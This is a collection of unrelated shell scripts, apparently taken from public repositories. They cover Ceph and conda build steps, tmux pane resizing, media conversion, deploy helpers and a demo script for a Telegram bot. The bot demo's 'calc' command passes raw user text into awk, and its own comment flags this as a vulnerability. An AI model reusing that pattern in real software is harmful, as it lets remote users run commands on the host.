CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n# This parameter controls the version of ceph-ansible that is installed\nCEPH_ANSIBLE_TAG=${CEPH_ANSIBLE_TAG:-\"v2.0.0\"}\n\nif [ \"$1\" == \"--help\" ]; then\n echo \"Usage: bootstrap-ceph.sh\"\n exit 1\nfi\n\nif [ ! -e scripts/bootstrap-ceph.sh ]; then\n echo \"This script must be run in the root directory of the project. ie. /root/os-services/ceph-services or /root/ceph-services\"\n exit 1\nfi\nPCLD_DIR=`pwd`\n\nSCRIPTS_DIR=$(dirname $0)\nsource $SCRIPTS_DIR/process-args.sh\n\nINSTALL=False\nif [ ! -d $CEPH_DIR ]; then\n echo \"Installing ceph-ansible...\"\n git-clone https://github.com/ceph/ceph-ansible $CEPH_ANSIBLE_TAG $CEPH_DIR\n INSTALL=True\nfi\n\n# If ceph is invoked as a standalone project, install ansible\ntype ansible >/dev/null 2>&1\nif [ $? != 0 ]; then\n echo \"Installing ansible...\"\n $CEPH_DIR/install-ansible.sh\nfi\n\n# Apply patches iff ceph-ansible is installed above. Code is designed to be reentrant\nif [ \"$INSTALL\" == \"True\" ] && [ -d $PCLD_DIR/diffs ]; then\n echo \"Applying patches\"\n pushd / >/dev/null 2>&1\n for f in $PCLD_DIR/diffs/*.patch; do\n patch -N -p1 < $f\n rc=$?\n if [ $rc != 0 ]; then\n echo \"scripts/bootstrap-ceph failed, rc=$rc\"\n echo \"Patch $f could not be applied\"\n echo \"Manual retry procedure:\"\n echo \"1) fix patch $f\"\n echo \"2) rm -rf /etc/ansible; rm -rf $CEPH_DIR\"\n echo \"3) re-run command\"\n exit 1\n fi\n done\n popd >/dev/null 2>&1\nfi\n\n# Setup site.yml playbook for use\ncp ${CEPH_DIR}/site.yml.sample ${CEPH_DIR}/site.yml\nrc=$?\nif [ $rc != 0 ]; then\n echo \"scripts/bootstrap-ceph failed, rc=$rc\"\n echo \"Check whether ceph-ansible is properly installed at $CEPH_DIR\"\n echo \"Manual retry procedure:\"\n echo \"1) rm -rf $CEPH_DIR\"\n echo \"2) re-run command\"\n exit 1\nfi\n\n# This is the normalized genesis style input source of inventory covering all configurations\necho \"Using genesis inventory\"\n${PCLD_DIR}/scripts/ulysses_ceph/generate_ceph_ansible_input.py \\\n --inventory $GENESIS_INVENTORY --output_directory $CEPH_DIR\nif [ $? != 0 ]; then\n echo \"Error generating ceph inventory\"\n exit 2\nfi\necho \"The ceph ansible control files are located at $CEPH_DIR/group_vars\"\necho \"\"\necho \"Settings may be customized if desired before they are activated by create cluster\"\necho \"\"\necho \"vi $CEPH_DIR/group_vars/all\"\necho \"vi $CEPH_DIR/group_vars/osds\"\necho \"\"\necho \"Note there is no requirement to modify any parameter\""} {"text": "#!/bin/bash\n\nset -e -o pipefail\n\nmkdir -p $PREFIX/bin\nexport LDFLAGS=\"${LDFLAGS} -L${PREFIX}/lib\"\nexport CPPFLAGS=\"${CPPFLAGS} -I${PREFIX}/include\"\nexport W3M_LIBS=\"-lncurses -ltinfo\"\n./configure --prefix=$PREFIX --with-termlib=ncurses\nmake\nmake install"} {"text": "1-10\n#!/bin/sh\n#\n# This command loads the distribution to the pypi.org site for access via pip3 install veriteemcomplianceledger\n#\n# You need and account on pypi.org and will be prompted for account/password to complete the operation\n#\n# The version number of the upload is set in the setup.py file in this directory\n# \ntwine upload dist/*"} {"text": "tmux-resize.sh\n#!/usr/bin/env bash\nset -euo pipefail\n\nget_tmux_option() { tmux show-option -gqv \"$@\" | grep . ;}\n\nnavigate_script=$(tmux display-message -p \"#{navigate_pane}\")\nif [[ ! -x ${navigate_script} ]]; then\n printf \"tmux-navigate script is not available.\\n\" >&2;\n exit 1;\nfi\n# shellcheck source=../tmux-navigate/tmux-navigate.sh\nsource \"${navigate_script}\"\n\nneighbour_pane_contains_vim() {\n local direction=\"${1}\"\n # workaround for strange bash regex behaviour. https://stackoverflow.com/a/9793094\n # shellcheck disable=SC2116\n if [[ \"$pane_title\" =~ $(echo '.*neighbours:\\w*:.*') ]]; then\n # shellcheck disable=SC2001 # A sed is fine here\n neighbours=$(echo \"$pane_title\" | sed 's/.*neighbours:\\(l\\):.*/\\1/')\n case \"$direction\" in\n left) [[ $neighbours == *h* ]] ;;\n down) [[ $neighbours == *j* ]] ;;\n up) [[ $neighbours == *k* ]] ;;\n right) [[ $neighbours == *l* ]] ;;\n * )\n printf \"Unsupported direction: '%s'\\n\" \"$direction\" >&2; exit 1\n esac\n else\n # user hasn't setup vim plugin\n return 1\n fi\n};\nresize() {\n tmux_resizing_command=$1;\n vim_resizing_command=$2;\n vim_resizing_only_if=${3:-true};\n if pane_contains_vim && eval \"$vim_resizing_only_if\"; then\n in_terminal=0\n if pane_contains_neovim_terminal; then\n # tmux-resize inherits the same problem with detecting neovim terminal\n # panes as tmux-navigate. This means that it's hard to know when whether\n # tmux-navigate should send a command to reenter insert-terminal-mode.\n in_terminal=1\n # escape terminal mode\n tmux send-keys C-\\\\ C-n;\n fi;\n in_insert_mode=0\n if [[ \"$pane_title\" == *\"mode:i\"* ]]; then\n in_insert_mode=1\n # enter insert-normal mode for one command\n # Doesn't seem keep up if holding down the resize key\n tmux send-keys 'C-o'\n fi\n if neighbour_pane_contains_vim \"$direction\"; then\n eval \"$vim_resizing_command\";\n else\n eval \"$tmux_resizing_command\";\n fi\n if [[ \"${in_terminal}\" -eq 1 ]] || [[ \"${in_insert_mode}\" -eq 1 ]]; then\n tmux send-keys i;\n fi;\n elif ! pane_is_zoomed; then\n eval \"$tmux_resizing_command\";\n fi;\n};\n\nmain() {\n direction=${1:-}\n action=${2:-}\n if [ -z \"${direction}\" ]; then\n printf \"Not enough arguments\\n\" >&2; exit 1\n fi\n if [ -z \"${action}\" ]; then\n # Capability mode\n # Tmux and Vim treat expanding left to mean shrinking the right edge(*). So\n # smooth this expected behaviour. (* unless in the rightmost pane, when the\n # left edge moves as expected)\n case \"$direction\" in\n down|right) action=\"expand\" ;;\n up|left)\n action=\"shrink\"\n if [[ \"$direction\" == \"left\" ]]; then\n direction=\"right\"\n else\n direction=\"down\"\n fi\n ;;\n * )\n printf \"Unsupported direction: '%s'\\n\" $direction >&2; exit 1\n esac\n fi\n\n # Manually switching vim splits with \"C-w h\" is a workaround for aboveleft\n # having no effect in `:aboveleft vertical resize +5`.\n # Track issue at https://github.com/neovim/neovim/issues/8270\n case \"$action\" in\n expand )\n case \"$direction\" in\n down )\n resize 'tmux resize-pane -D' 'tmux send-keys C-w +' ;;\n right )\n resize 'tmux resize-pane -R' 'tmux send-keys C-w \\>' ;;\n up )\n resize 'tmux resize-pane -t{up-of} -U' 'tmux send-keys C-w k C-w - C-w j' ;;\n left )\n resize 'tmux resize-pane -t{left-of} -L' 'tmux send-keys C-w h C-w \\< C-w l' ;;\n * )\n printf \"Unsupported direction for %sing: '%s'\\n\" $action $direction >&2; exit 1\n esac\n ;;\n shrink )\n case \"$direction\" in\n down )\n resize 'tmux resize-pane -U' 'tmux send-keys C-w -' ;;\n right )\n resize 'tmux resize-pane -L' 'tmux send-keys C-w \\<' ;;\n up )\n resize 'tmux resize-pane -t{up-of} -D' 'tmux send-keys C-w k C-w + C-w j' ;;\n left )\n resize 'tmux resize-pane -t{left-of} -R' 'tmux send-keys C-w h C-w \\> C-w l' ;;\n * )\n printf \"Unsupported direction for %sing: '%s'\\n\" $action $direction >&2; exit 2\n esac\n ;;\n esac\n}\n\nif [[ \"${BASH_SOURCE[0]}\" == \"${0}\" ]]; then\n main \"$@\"\nfi"} {"text": "1-10\n#!/bin/bash\n\necho \"#\"\necho \"#\"\necho \"#\"\necho \"# Cleaning up inspec and extras from the template!\"\necho \"#\"\necho \"#\"\necho \"#\"\nsudo dpkg --remove inspec\nsudo rm -rf ~/.chef\nsudo rm -rf ~/.ansible\nsudo rm -rf ~/.inspec"} {"text": "#!/bin/bash\n\nMODEL_NAME=${1}\nBUDGET=${2}\nSRC_DATA=${3}\nTGT_DATA=${4}\nBATCH_SIZE=${5}\nEPOCH=${6}\nLR=${7}\nMAX_LEN=${8}\nGPU_ID=${9}\nSAMP_RATE=${10}\nOUTPUT_DIR=${11}\n\npython code/rel_da_budget.py \\\n --lm_model \"$MODEL_NAME\" \\\n --src_data \"$SRC_DATA\" \\\n --tgt_data \"$TGT_DATA\" \\\n --gpu_ids \"$GPU_ID\" \\\n --output_dir \"$OUTPUT_DIR\"/da/\"$SRC_DATA\"_\"$TGT_DATA\" \\\n --learning_rate \"$LR\" \\\n --task_name fa_rel \\\n --batch_size \"$BATCH_SIZE\" \\\n --max_len \"$MAX_LEN\" \\\n --epochs \"$EPOCH\" \\\n --budget \"$BUDGET\" \\\n --alpha 1 \\\n --down_sample \\\n --down_sample_rate \"$SAMP_RATE\" \\\n --save_model"} {"text": "0\n\nmkdir B6_cellphoneDB\ncd B6_cellphoneDB\ncellphonedb method statistical_analysis ../B6_filtered_meta.txt ../B6_filtered_hcount.txt \ncellphonedb plot dot_plot\ncellphonedb plot heatmap_plot ../B6_filtered_meta.txt\n\ncd ..\nmkdir SLE.yaa_cellphoneDB\ncd SLE.yaa_cellphoneDB\ncellphonedb method statistical_analysis ../SLE.yaa_filtered_meta.txt ../SLE.yaa_filtered_hcount.txt \ncellphonedb plot dot_plot\ncellphonedb plot heatmap_plot ../SLE.yaa_filtered_meta.txt"} {"text": "webmTOmp4 () {\n ffmpeg -i \"$1\".webm -qscale 0 \"$1\".mp4\n} \n\nextension=\".webm\"\nfor file in ./*.webm; do\n filename=$(basename \"$file\" \"$extension\")\n echo \"$filename\"\n webmTOmp4 \"$filename\"\n \n\n #webmTOmp4 $filename\ndone"} {"text": "jamesyoungman/beebtools\n#! /bin/sh\n#\n# Copyright 2020 \n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n# Tags: positive\n\n# Args:\n# ${DFS}\" \"${TEST_DATA_DIR}\"\nDFS=\"$1\"\nshift\nTEST_DATA_DIR=\"$1\"\nshift\n\n# Ensure TMPDIR is set.\n: ${TMPDIR:?}\n\ncheck_dump() {\n input=\"$1\"\n shift\n # The rest of the arguments are filename - regex pairs.\n\n if ! actual=\"$(mktemp --tmpdir=${TMPDIR:?} actual_dump_output_XXXXXX.txt)\"\n then\n\techo \"failed to create temporary file\" >&2\n\texit 1\n fi\n\n cleanup() {\n\trm -f \"${input}\" \"${actual}\"\n }\n\n (\n\trv=0\n\twhile [ $# -gt 0 ]\n\tdo\n\t filename=\"$1\"\n\t regex=\"$2\"\n\t shift 2\n\t if ! ${DFS} --file \"${TEST_DATA_DIR}/${input}\" dump \"${filename}\" > \"${actual}\"\n\t then\n\t\techo \"dump command failed on ${filename}\" >&2\n\t\trv=1\n\t\tbreak\n\t fi\n\t if egrep -q -e \"${regex}\" \"${actual}\"\n\t then\n\t\techo \"dump ${filename} output matches extended regular expression ${regex}, good\"\n\t else\n\t\techo \"FAIL dump ${filename} output did not match extended regular expression ${regex}:\" >&2\n\t\tcat \"${actual}\" >&2\n\t\trv=1\n\t fi\n\tdone\n\texit $rv\n )\n rv=$?\n cleanup\n ( exit $rv )\n}\n\n# The space in \"FIFTY FOUR\" should be rendered as a space, not a dot.\n# After the end of the file the hex digits column should contain **\n# to denote that the data is absent. Also check that the line\n# break occurs at the correct point (i.e. that counting from 0, byte\n# 8 of the file is the first thing on the secondf line).\ncheck_dump watford-sd-62-with-62-files.ssd.gz \\\n\t 'FILE54' 'FIFTY' \\\n\t 'FILE54' 'FIFTY FO' \\\n\t 'FILE54' '^000008 55 52 0D [*][*]'"} {"text": "#! /usr/bin/env sh\n\nDIR=$(dirname \"$0\")\ncd \"$DIR\"\n\n. ../scripts/functions.sh\n\nSOURCE=\"$(realpath .)\"\nDESTINATION=\"$(realpath ~)\"\n\ninfo \"Configuring git...\"\n\nfind . -name \".git*\" | while read fn; do\n fn=$(basename $fn)\n symlink \"$SOURCE/$fn\" \"$DESTINATION/$fn\"\ndone\n\nsuccess \"Finished configuring git.\""} {"text": "#!/bin/bash\n\nMAX_WORKSPACES=5\n\nWORKSPACE_PREFIX=\"w_\"\n\nNUMBER_OF_CREATED_WORKSPACES=$(swaymsg -t get_workspaces | jq -r '.[] .name' | grep -c $WORKSPACE_PREFIX)\n\nWORKSPACE_NR=$(( $NUMBER_OF_CREATED_WORKSPACES > $MAX_WORKSPACES ? $MAX_WORKSPACES : $NUMBER_OF_CREATED_WORKSPACES ))\n\nswaymsg workspace \"${WORKSPACE_PREFIX}${WORKSPACE_NR}\""} {"text": "#!/bin/bash\n\nbot_logs=(bot_agent.log)\n\ncd ~/PI_2020/logs/\n\nnow=$(date \"+%A %B %d %T %y\")\ndir_name=${now// /_}\ndir_name=${dir_name//:/_}\nmkdir $dir_name\n\nfor log in ${cc_logs[@]}; do\n\tdocker cp bot:twitter/$log $dir_name\n\tdocker exec bot sh -c \"echo > $log\"\ndone\n\ntar -czf $dir_name.tar.gz $dir_name\nrm -rf $dir_name"} {"text": "z_mac.command\n#!/bin/bash\nws=cocoa\ncud=~/cuda/cuda\nexe=$cud/app/builds/macos-cocoa/cudatext\nbundle=$cud/app/cudatext.app\n$cud/setup/mac_common.command $ws $cud $exe $bundle"} {"text": "sudo docker stack rm milkyway-stack-ci && \\\nsleep 45 && \\\nsh remove_volume.sh && \\\nsleep 5 && \\\nsh deploy_stack.sh"} {"text": "redhat-openstack/oooq-site-config-ci-centosci-scripts/collect-logs.sh\n#!/bin/bash\n# Collect the logs from a CI job\n\nset -eux\n\nexport ANSIBLE_INVENTORY=$WORKSPACE/hosts\nexport ANSIBLE_CONFIG=$WORKSPACE/tripleo-quickstart/ansible.cfg\nexport SSH_CONFIG=$WORKSPACE/ssh.config.ansible\nexport ANSIBLE_SSH_ARGS=\"-F ${SSH_CONFIG}\"\n\n# (trown) This is so that we ensure separate ssh sockets for\n# concurrent jobs. Without this, two jobs running in parallel\n# would try to use the same undercloud-stack socket.\nsocketdir=$(mktemp -d /tmp/sockXXXXXX)\nexport ANSIBLE_SSH_CONTROL_PATH=$socketdir/%%h-%%r\n\nbash $WORKSPACE/tripleo-quickstart/quickstart.sh \\\n --working-dir $WORKSPACE/ \\\n --no-clone \\\n --bootstrap \\\n --retain-inventory \\\n --requirements $WORKSPACE/tripleo-quickstart/quickstart-role-requirements.txt \\\n --config $WORKSPACE/config/general_config/centosci-logs.yml \\\n --playbook collect-logs.yml \\\n localhost"} {"text": "examples/demo.sh\n#!/bin/sh -e\n\n# This script is to show all features of cnbot.\n#\n# Generally, cnbot creates messages out of two sources:\n# - it receives messages from Telegram users,\n# runs script according configuration file and\n# treats script's output as response\n# - it listens HTTP requests (if configured),\n# treats bodies of requests in the same way and\n# sends the result to Telegram users\n#\n# So, this script is run for every user request and\n# its output is used to reply to user.\n\n# PART I: Set up environment #########################################\n#\n# cnbot doesn't pass environment to script to avoid side effects and\n# prevent possible vulnerabilities. So, you are to\n# set up explicitly variables like PATH, LANG, and so on.\n\nPATH=/usr/local/bin:/bin:/usr/bin\n\n# PART II: Check if binaries exist ##################################\n#\n# You are free to skip it.\n\nfor c in dirname awk cal curl date df echo env grep sed sort tail test uname uptime\ndo\n if ! command -v $c >/dev/null\n then\n echo \"WARNING: Command $c not found, check PATH ($PATH)\" >&2\n fi\ndone\n\n# PART III: Check if it is forwarded message or contact or location #\n#\n# If you don't need this functionality, you are free to skip this part.\n#\n# If the bot receives forwarded message or users contact, it sets\n# up three additional variables:\n# - BOT_SIDE_TYPE -- type of message: string \"user\", \"contact\", \"bot\" and so on\n# - BOT_SIDE_NAME -- name\n# - BOT_SIDE_ID -- id, it is useful to set up black/white list in configuration file.\n#\n# If you wish to add some user to black/white list, you can forward\n# his message to the bot and figure out the user id.\n# Of cause, you can figure out user id directly from bots logs.\n#\n# By the way, you can check if BOT_MESSAGE_TYPE=callback and process\n# callbacks separately. In this script we are processing callbacks\n# and regular messages in the same place.\n\nif test -n \"$BOT_SIDE_TYPE\"\nthen\n echo \"Message from $BOT_SIDE_TYPE\"\n echo \"Name: $BOT_SIDE_NAME\"\n echo \"ID: $BOT_SIDE_ID\"\n exit\nfi\n\n# You can process shared locations if you wish\n\nif test -n \"$BOT_LOCATION_LONGITUDE\" # BOT_LOCATION_LATITUDE can be used too\nthen\n echo '%!PRE'\n echo 'Location is received'\n echo ''\n echo \"Longitude: $BOT_LOCATION_LONGITUDE\"\n echo \"Latitude: $BOT_LOCATION_LATITUDE\"\n echo ''\n echo 'Optional:'\n echo \"Accuracy: $BOT_LOCATION_ACCURACY\"\n echo \"Live period: $BOT_LOCATION_LIVE_PERIOD\"\n echo \"Heading: $BOT_LOCATION_HEADING\"\n echo \"Alert radius: $BOT_LOCATION_ALERT_RADIUS\"\n exit\nfi\n\n# PART IV: Commands #################################################\n\n# I use magic COMMAND prefix just to facilitate code reading/searching\n\ncase \"COMMAND_$1\" in\n COMMAND_start)\n # Simple text messages are sent as is\n echo 'Hi there! 👋'\n echo 'Say /help to get help 👈😎👈'\n ;;\n COMMAND_date)\n # You can run any command and get output in your Telegram client\n date\n ;;\n COMMAND_uname)\n # One more example of command\n uname -a\n ;;\n COMMAND_uptime)\n # And one more\n uptime\n ;;\n COMMAND_noout)\n # Empty output turns to italic string \"empty\"\n ;;\n COMMAND_nothing)\n # The bot will reply nothing.\n echo '%!SILENT'\n ;;\n COMMAND_args)\n # Try to say to bot\n # - args\n # - args Hello world!\n # and so on\n # You will see how cnbot prepares command arguments:\n # - it converts your message to lower case\n # - save only letters, digits and symbols dot (.), minus (-) and underscore (_)\n # - and consider all the rest symbols as separators\n #\n echo 'Passed args:'\n for a in \"$@\"\n do\n echo \"○ $a\"\n done\n echo 'Try:'\n echo 'args'\n echo 'args 1 2 3'\n echo 'args Hello world!'\n ;;\n COMMAND_env)\n # You can preformat your message, using '%!PRE' control line\n # at the beginning of response.\n #\n # Try this command and check out all available environment variables:\n # BOT_CHAT -- integer chat id\n # BOT_FROM -- integer sender id\n # BOT_FROM_FIRST_NAME -- sender name\n # BOT_NAME -- bot name, according configuration file\n # BOT_SERVER -- server for asynchronous communication (if set up)\n # BOT_TEXT -- original message\n # BOT_MESSAGE_TYPE -- Message source: \"callback\" or \"message\"\n #\n # Telegram API doesn't guarantee to provide the following information\n # BOT_FROM_LANGUAGE -- language in form like \"en\" (IETF language tag)\n # BOT_FROM_LAST_NAME -- last name\n # BOT_FROM_USERNAME -- username\n #\n echo '%!PRE'\n declare -xp | sed 's;declare -x ;;' # ugly, but things like 'env | sort' don't work right with multi line values\n ;;\n COMMAND_cal)\n # One more %!PRE example\n echo '%!PRE'\n cal\n ;;\n COMMAND_calc)\n # The example of how to get access to raw message (BOT_TEXT).\n # .----------------------------------------------------------------.\n # | ⚠️ WARNING Be careful, it is very easy to make vulnerability. |\n # | Do not use this code in production. |\n # `----------------------------------------------------------------'\n if test \"$#\" = '1'\n then\n echo '%!MARKDOWN'\n echo '*Usage:* calc _expression_'\n echo 'For example:'\n echo '`calc 1\\+1`'\n echo '`calc atan2(1, 0) * 2`'\n echo '`calc sqrt(2)`'\n else\n prog=\"BEGIN {print($(echo \"$BOT_TEXT\" | sed 's/^[^c]*calc//'))}\"\n echo '%!PRE'\n #echo \"$prog\" # uncomment for debugging\n set +e\n awk \"$prog\" 2>&1\n set -e\n fi\n ;;\n COMMAND_gologo)\n # To reply by image you have just put image to stdout as is.\n curl -qfs https://golang.org/lib/godoc/images/footer-gopher.jpg\n # curl -qfs https://www.telegram.org/img/t_logo.png # try this if footer-gopher.jpg disappear\n ;;\n COMMAND_du)\n # You can generate image using APIs, or utilities like RRDtools.\n d=\"$(df -P -m / | tail -1 | awk '{gsub(\"[^0-9]\", \"\", $5); print $5\",\"(100-$5)}')\"\n # This old fashioned API is deprecated in 2012, however, it is still working\n # https://developers.google.com/chart/image/docs/making_charts\n u=\"https://chart.googleapis.com/chart?cht=p&chd=t:$d&chs=300x200&chl=Available|Used&chtt=Disk%20usage\"\n curl -qfs \"$u\"\n ;;\n COMMAND_async)\n # You are free to speak asynchronously using HTTP interface.\n #\n # Here we send three messages in reply to one incoming message.\n # Obviously, it is possible to schedule some jobs and send such\n # messages later.\n #\n # Here you can see\n # - %!MARKDOWN control line\n # - two ways to send asynchronous messages:\n # (1) raw body and\n # (2) multipart/form-data encoding\n #\n # %!MARKDOWN is similar to %!PRE, however\n # - It allows you to use all Telegrams markdown abilities\n # - It doesn't escapes control chars for you.\n # So you must to put '\\' before every control character by your self.\n #\n # You can also see how we specify target user explicitly.\n # So you can send message to other user, chat or even bot,\n # not only in reply to sender. For example, you can echo\n # the conversation to the third party observer.\n #\n echo '%!SILENT' # suppress message\n mark='%!MARKDOWN'$'\\n' # it may surprise you, how we get newline in sh\n # the first way to send async message: multipart/form-data\n curl -qfsX POST -o /dev/null -F to=$BOT_FROM -F msg=\"${mark}_I'll send you_ *random* _image\\.\\.\\._\" $BOT_SERVER\n curl -qfskL https://source.unsplash.com/random/600x400 |\n curl -qfsX POST -o /dev/null -F to=$BOT_FROM -F msg=@- $BOT_SERVER\n # the second way to send async message: raw data + user_id at the end of URL\n echo \"${mark}_Are you happy now?_\" |\n curl -qfsX POST -o /dev/null --data-binary @- \"http://$BOT_SERVER/$BOT_FROM\"\n ;;\n COMMAND_cap)\n echo '%!SILENT' # no message\n # The only way to send image with caption\n # is to use multipart/form-data encoding and \"cap\" parameter\n curl -qfs https://golang.org/lib/godoc/images/footer-gopher.jpg |\n curl -qfsX POST -o /dev/null -F to=$BOT_FROM -F msg=@- -F cap=\"$(date)\" $BOT_SERVER\n ;;\n COMMAND_btn)\n # %!CALLBACK is a control line to create inline keyboards\n #\n # There are three ways to use it\n # - %!CALLBACK cmd_name run command\n # Creates a key with label \"run command\".\n # That button will start the script with command \"cmd_name\".\n # - %!CALLBACK one_word\n # Is literally equal to\n # %!CALLBACK one_word one_word\n # label and command are equal\n # - %!CALLBACK\n # Without arguments the command line starts new line of keys\n # in inline keyboard layout.\n #\n # The following control lines describe three-line keyboard\n # [__env___][__date__]\n # [_execute_uname_-a_]\n #\n echo '%!CALLBACK env'\n echo '%!CALLBACK date'\n echo '%!CALLBACK'\n echo '%!CALLBACK uname execute uname -a'\n echo 'Simple inline keyboard'\n ;;\n COMMAND_update)\n # %!UPDATE control can be used in conjunction with %!CALLBACK\n # and in synchronous messages only\n # it means that the message have to replace the inline-keyboard-message.\n # It allows you to create mutable menus.\n #\n # Here we send the same inline keyboard, but new message text every time.\n #\n echo '%!UPDATE'\n echo '%!CALLBACK update What time is it now?'\n echo '%!CALLBACK update-helper Show env'\n date\n ;;\n COMMAND_update-helper)\n # We can use %!UPDATE in a reply that invoked by %!CALLBACK\n echo '%!UPDATE'\n echo '%!CALLBACK update What time is it now?'\n echo '%!CALLBACK update-helper Show env'\n echo '%!PRE'\n env | sort\n ;;\n COMMAND_notify)\n # It is possible to add additional notification to response to\n # callback message. There are two types of notifications:\n # text and alert. See notify-text and notify-alert bellow.\n echo '%!CALLBACK notify-text text'\n echo '%!CALLBACK notify-alert alert'\n echo '%!MARKDOWN'\n echo '*Notifications*'\n echo 'Show date as'\n ;;\n COMMAND_notify-text)\n echo '%!SILENT' # no message, however, you can use %!UPDATE, nonempty messages etc.\n echo \"%!TEXT Text notification: $(date)\"\n ;;\n COMMAND_notify-alert)\n echo '%!SILENT' # no message\n echo \"%!ALERT Alert: $(date)\"\n ;;\n COMMAND_help)\n # One more %!MARKDOWN example\n echo '%!MARKDOWN'\n cat \"$(dirname \"$0\")/demo-help-message.md\"\n ;;\n *)\n # And one more\n cmd=\"$(echo $1 | sed 's/[-_.]/\\\\&/g')\" # we have to care about [-_.] only because other must-escaped-chars are disallowed by bot\n echo '%!MARKDOWN'\n echo 'This is `cnbot` speaking\\.' \"I didn't recognize your command '*$cmd*' Try to say '*help*' to me\"\n ;;\nesac"} {"text": "#!/bin/bash\n\ntmpfile=$(mktemp -u)\nin=$1\nout=$2\npushd $(dirname $in) && zip -r $tmpfile $(basename $in) && popd && cp $tmpfile $out && rm $tmpfile"} {"text": "#!/bin/bash\n# Copy Virgo code and plans to another a testbed node\n# Ensure that $VIRGO_HOME refers to correct location, i.e. Virgo top directory\n\ntestParams() {\n if [ $1 -eq 1 ]\n then\n return 0\n else\n if [ $1 -eq 0 ]\n then\n echo \"Specify ssh target e.g. @\"\n else\n echo \"Too many parameters\"\n fi\n return 1\n fi\n}\n\n\ntransferFiles() {\n\t\n echo \"\"\n echo \"Tranfer files from $VIRGO_HOME to $1\"\n echo \"------------------------------------\"\n\n #echo \"\"\n #echo \"Transfer Virgo configuration files to $1:/usr/local/virgo-tomcat-server-3.0.1.RELEASE/config\"\n #echo \"--------------------------------------------------------------------------------------------\"\n\n \n #scp $VIRGO_HOME/config/xc.properties $1:/usr/local/virgo-tomcat-server-3.0.1.RELEASE/config\n #scp $VIRGO_HOME/config/org.societies.platform.properties $1:/usr/local/virgo-tomcat-server-3.0.1.RELEASE/config\n\n echo \"\"\n echo \"Transfer Virgo Societies plans to $1:/usr/local/virgo-tomcat-server-3.0.1.RELEASE/repository/usr\"\n echo \"------------------------------------------------------------------------------------------------\"\n\n scp $VIRGO_HOME/repository/usr/*.plan $1:/usr/local/virgo-tomcat-server-3.0.1.RELEASE/repository/usr\n\n echo \"\"\n echo \"Transfer Virgo Societies bundles to $1:/usr/local/virgo-tomcat-server-3.0.1.RELEASE/repository/usr\"\n echo \"--------------------------------------------------------------------------------------------------\"\n \n\n scp $VIRGO_HOME/repository/usr/*.jar $1:/usr/local/virgo-tomcat-server-3.0.1.RELEASE/repository/usr\n scp $VIRGO_HOME/repository/usr/*.war $1:/usr/local/virgo-tomcat-server-3.0.1.RELEASE/repository/usr\n\n echo \"\"\n echo \"Update Virgo startup plan to $1:/usr/local/virgo-tomcat-server-3.0.1.RELEASE/pickup\"\n echo \"--------------------------------------------------------------------------------------------------\"\n\n\n scp $VIRGO_HOME/repository/usr/org.societies.platform.plan $1:/usr/local/virgo-tomcat-server-3.0.1.RELEASE/pickup\n\n}\n\ntestParams $#\nif [ $? -eq 0 ]\n then\n transferFiles $1 $2\nfi\n\n\nexit 0"} {"text": "conda-forge/digital_rf-feedstock\n#!/bin/bash\n\nmkdir build\ncd build\ncmake ${CMAKE_ARGS} \\\n -DCMAKE_INSTALL_PREFIX=$PREFIX \\\n -DCMAKE_INSTALL_LIBDIR=lib \\\n -DDRF_INSTALL_PREFIX_PYTHON=$PREFIX \\\n -DPython_EXECUTABLE=$PYTHON \\\n ..\ncmake --build .\nif [[ \"${CONDA_BUILD_CROSS_COMPILATION}\" != \"1\" ]]; then\ncmake --build . --target test\nrm -r /tmp/hdf5\nfi\ncmake --build . --target install"} {"text": "clb6/jarvis\n#! /bin/bash\n\n# Verify that the required dependencies are installed\n\ncommand -v docker > /dev/null 2>&1 \\\n || { echo >&2 \"docker must be installed\"; exit 1; }\ncommand -v docker-compose > /dev/null 2>&1 \\\n || { echo >&2 \"docker-compose must be installed\"; exit 1; }\n\n# Argument parsing\n\nif [ \"$1\" == \"help\" ]; then\n echo \"Usage:\"\n echo \"install.sh dev\"\n echo \"install.sh \"\n exit 0\nelif [ \"$1\" == \"dev\" ]; then\n MODE=\"dev\"\nelse\n MODE=\"prod\"\n JARVIS_API_USER=\"$1\"\n JARVIS_API_PASSWORD=\"$2\"\nfi\n\n# TODO: Ensure that working directory is at the project root or maybe script\n# downloads necessary artifacts?\n\nif [ \"$MODE\" == \"dev\" ]; then\n echo \"Starting Jarvis installation for local development..\"\n JARVIS_DIR_ROOT=\"/tmp/jarvis\"\n JARVIS_DOCKER_COMPOSE_FILE=\"$PWD/docker-compose-dev.yml\"\nelif [[ $EUID -ne 0 ]]; then\n echo \"This script must be run as root\" 1>&2\n exit 1\nelse\n echo \"Starting Jarvis installation..\"\n JARVIS_DIR_ROOT=\"/opt/jarvis\"\n JARVIS_DOCKER_COMPOSE_FILE=\"$PWD/docker-compose.yml\"\nfi\n\necho\n\n# Create required directories\n\nJARVIS_DATA_VERSION=\"20160628\"\necho \"Creating installation directory\"\necho \"Installation directory: $JARVIS_DIR_ROOT\"\necho \"Data model version: $JARVIS_DATA_VERSION\"\n\nfor target_dir in \"LogEntries-$JARVIS_DATA_VERSION\" \"Tags-$JARVIS_DATA_VERSION\" \\\n \"Images\" \"Elasticsearch\" \"Redis\"\ndo\n mkdir -p \"$JARVIS_DIR_ROOT/$target_dir\"\ndone\n\necho\n\n# Copy Elasticsearch mappings to be used by jarvis-api to provision Elasticsearch\n#\n# REVIEW: Should just hardcode into jarvis-api? Usefulness of having external\n# mappings is the ability to test the mapping requests outside of jarvis-api.\n\nmkdir \"$JARVIS_DIR_ROOT/Elasticsearch/mappings\"\ncp $PWD/setup/mappings/* $JARVIS_DIR_ROOT/Elasticsearch/mappings\n\n# Setup Nginx\n\nif [ \"$MODE\" == \"prod\" ]; then\n mkdir -p \"$JARVIS_DIR_ROOT/etc/nginx\"\n cp $PWD/setup/nginx/* $JARVIS_DIR_ROOT/etc/nginx\n # Inspired from https://www.digitalocean.com/community/tutorials/how-to-set-up-password-authentication-with-nginx-on-ubuntu-14-04\n echo -n \"$JARVIS_API_USER:\" >> $JARVIS_DIR_ROOT/etc/nginx/htpasswd\n openssl passwd -apr1 $JARVIS_API_PASSWORD >> 